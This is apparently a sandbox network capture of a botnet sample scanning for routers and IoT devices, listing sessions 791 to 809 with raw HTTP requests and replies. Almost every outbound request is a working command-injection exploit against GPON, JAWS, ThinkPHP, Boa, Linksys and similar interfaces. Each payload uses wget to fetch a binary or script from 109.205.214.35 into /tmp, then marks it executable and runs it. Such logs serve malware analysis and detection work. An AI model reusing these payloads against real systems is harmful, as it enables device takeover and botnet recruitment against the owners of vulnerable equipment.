Mar 21, 2024 05:17:54.179187059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
791	192.168.2.23	47842	212.228.254.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:54.179197073 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
792	192.168.2.23	36966	212.8.190.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:54.179239988 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
793	192.168.2.23	55656	42.189.203.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:54.179279089 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
794	192.168.2.23	57536	118.26.40.42	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:54.179311037 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
795	192.168.2.23	46590	109.36.89.244	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:54.179333925 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
796	192.168.2.23	56704	2.24.192.182	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:54.179409027 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
797	192.168.2.23	38704	5.187.146.246	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:54.179409027 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
798	192.168.2.23	58258	2.57.241.156	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:54.179440022 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
799	192.168.2.23	47378	68.117.64.209	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:54.273092985 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:54.414725065 CET	500	IN	HTTP/1.0 400 Bad Request Content-Type: text/html Content-Length: 349 Connection: close Date: Thu, 21 Mar 2024 04:17:55 GMT Server: HTTP Server Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 69 73 6f 2d 38 38 35 39 2d 31 22 3f 3e 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 20 20 20 20 20 20 20 20 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 3c 2f 68 65 61 64 3e 0a 20 3c 62 6f 64 79 3e 0a 20 20 3c 68 31 3e 34 30 30 20 2d 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 20 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <?xml version="1.0" encoding="iso-8859-1"?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> <head> <title>400 - Bad Request</title> </head> <body> <h1>400 - Bad Request</h1> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
800	192.168.2.23	53286	88.117.226.66	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:54.502212048 CET	313	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://109.205.214.35/x86 -O /tmp/.matrix; chmod 777 /tmp/.matrix; /tmp/.matrix thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:54.695943117 CET	1267	IN	HTTP/1.0 403 Forbidden Content-Type: text/html; charset="utf-8" Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 52 65 71 75 65 73 74 20 44 65 6e 69 65 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 56 65 72 64 61 6e 61 2c 20 53 61 6e 73 2d 53 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 73 6d 61 6c 6c 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 6e 6f 72 6d 61 6c 3b 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 7d 64 69 76 20 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 7d 2e 62 6f 78 20 7b 77 69 64 74 68 3a 20 36 30 30 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 46 32 46 32 46 32 3b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 43 32 43 32 43 32 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 43 32 43 32 43 32 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 6d 69 64 64 6c 65 3b 70 61 64 64 69 6e 67 3a 20 32 30 70 78 20 31 30 70 78 20 32 30 70 78 20 31 30 70 78 3b 7d 70 20 7b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 6c 65 66 74 3b 7d 2e 72 65 64 20 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 20 62 6f 6c 64 3b 63 6f 6c 6f 72 3a 20 52 65 64 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 7d 2e 62 61 6e 64 20 7b 68 65 69 67 68 74 3a 20 32 30 70 78 3b 63 6f 6c 6f 72 3a 20 57 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 33 33 33 33 33 33 3b 77 69 64 74 68 3a 20 36 30 30 70 78 3b 62 6f 72 64 65 72 2d 6c 65 66 74 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 33 33 33 33 33 3b 62 6f 72 64 65 72 2d 72 69 67 68 74 3a 20 73 6f 6c 69 64 20 31 70 78 20 23 33 33 33 33 33 33 3b 70 61 64 64 69 6e 67 3a 20 33 70 78 20 31 30 70 78 20 30 70 78 20 31 30 70 78 3b 7d 64 69 76 23 77 72 61 70 20 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 20 35 30 70 78 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 20 69 64 3d 22 77 72 61 70 22 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 6e 64 22 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 6f 78 22 3e 3c 70 20 63 6c 61 73 73 3d 22 72 65 64 22 3e 52 65 71 75 65 73 74 20 64 65 6e 69 65 64 20 62 79 20 57 61 74 63 68 47 75 61 72 64 20 46 69 72 65 77 61 6c 6c 2e 3c 2f 70 3e 3c 70 3e 3c 62 3e 20 52 65 61 73 6f 6e 3a 20 3c 2f 62 3e 20 49 50 53 20 64 65 74 65 63 74 65 64 20 66 6f 72 20 22 57 45 42 20 52 65 6d 6f 74 65 20 43 6f 6d 6d 61 6e 64 20 45 78 65 63 75 74 69 6f 6e 20 76 69 61 20 53 68 65 6c 6c 20 53 63 72 69 70 74 20 2d 31 2e 68 2f 45 78 70 6c 6f 69 74 73 22 20 3c 2f 70 3e 3c 70 3e 50 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 72 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 20 66 6f 72 20 61 73 73 69 73 74 61 6e 63 65 2e 3c 2f 70 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 63 6c 61 73 73 3d 22 62 61 6e 64 22 3e 57 61 74 63 68 47 75 61 72 64 20 54 65 63 68 6e 6f 6c 6f 67 69 65 73 20 49 6e 63 2e 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"><head><title>Request Denied</title><style type="text/css">body {font-family: Arial, Helvetica, Verdana, Sans-Serif;font-size: small;font-weight: normal;color: #000000;}div {margin-left: auto;margin-right: auto;text-align: center;}.box {width: 600px;background-color: #F2F2F2;border-left: solid 1px #C2C2C2;border-right: solid 1px #C2C2C2;vertical-align: middle;padding: 20px 10px 20px 10px;}p {text-align: left;}.red {font-weight: bold;color: Red;text-align: center;}.band {height: 20px;color: White;background: #333333;width: 600px;border-left: solid 1px #333333;border-right: solid 1px #333333;padding: 3px 10px 0px 10px;}div#wrap {margin-top: 50px;}</style></head><body><div id="wrap"><div class="band"></div><div class="box"><p class="red">Request denied by WatchGuard Firewall.</p><p><b> Reason: </b> IPS detected for "WEB Remote Command Execution via Shell Script -1.h/Exploits" </p><p>Please contact your administrator for assistance.</p></div><div class="band">WatchGuard Technologies Inc.</div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
801	192.168.2.23	35558	181.221.99.101	1723

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:54.640075922 CET	282	OUT	GET /boaform/admin/formPing?target_addr=;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27/&waninf=1_INTERNET_R_VID_154$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
802	192.168.2.23	56888	172.65.76.194	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:54.734277010 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
803	192.168.2.23	60420	64.235.229.42	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:55.270870924 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:55.420064926 CET	404	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:36:53 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
804	192.168.2.23	49132	172.65.109.108	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:56.433725119 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
805	192.168.2.23	59096	98.26.252.108	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:56.662364006 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
806	192.168.2.23	44214	98.220.255.141	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:56.662404060 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
807	192.168.2.23	50290	199.87.204.0	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:56.767570972 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:56.905431032 CET	315	IN	HTTP/1.1 400 Bad Request Server: openresty Date: Thu, 21 Mar 2024 03:50:54 GMT Content-Type: text/html Content-Length: 154 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>openresty</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
808	192.168.2.23	52890	212.199.95.42	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:56.809799910 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:57.027786970 CET	335	IN	HTTP/1.1 400 Bad Request Server: nginx/1.2.1 Date: Thu, 21 Mar 2024 04:17:56 GMT Content-Type: text/html Content-Length: 172 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.2.1</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
809	192.168.2.23	49364	67.4.140.94	7547

Timestamp	Bytes transferred	Direction	Data
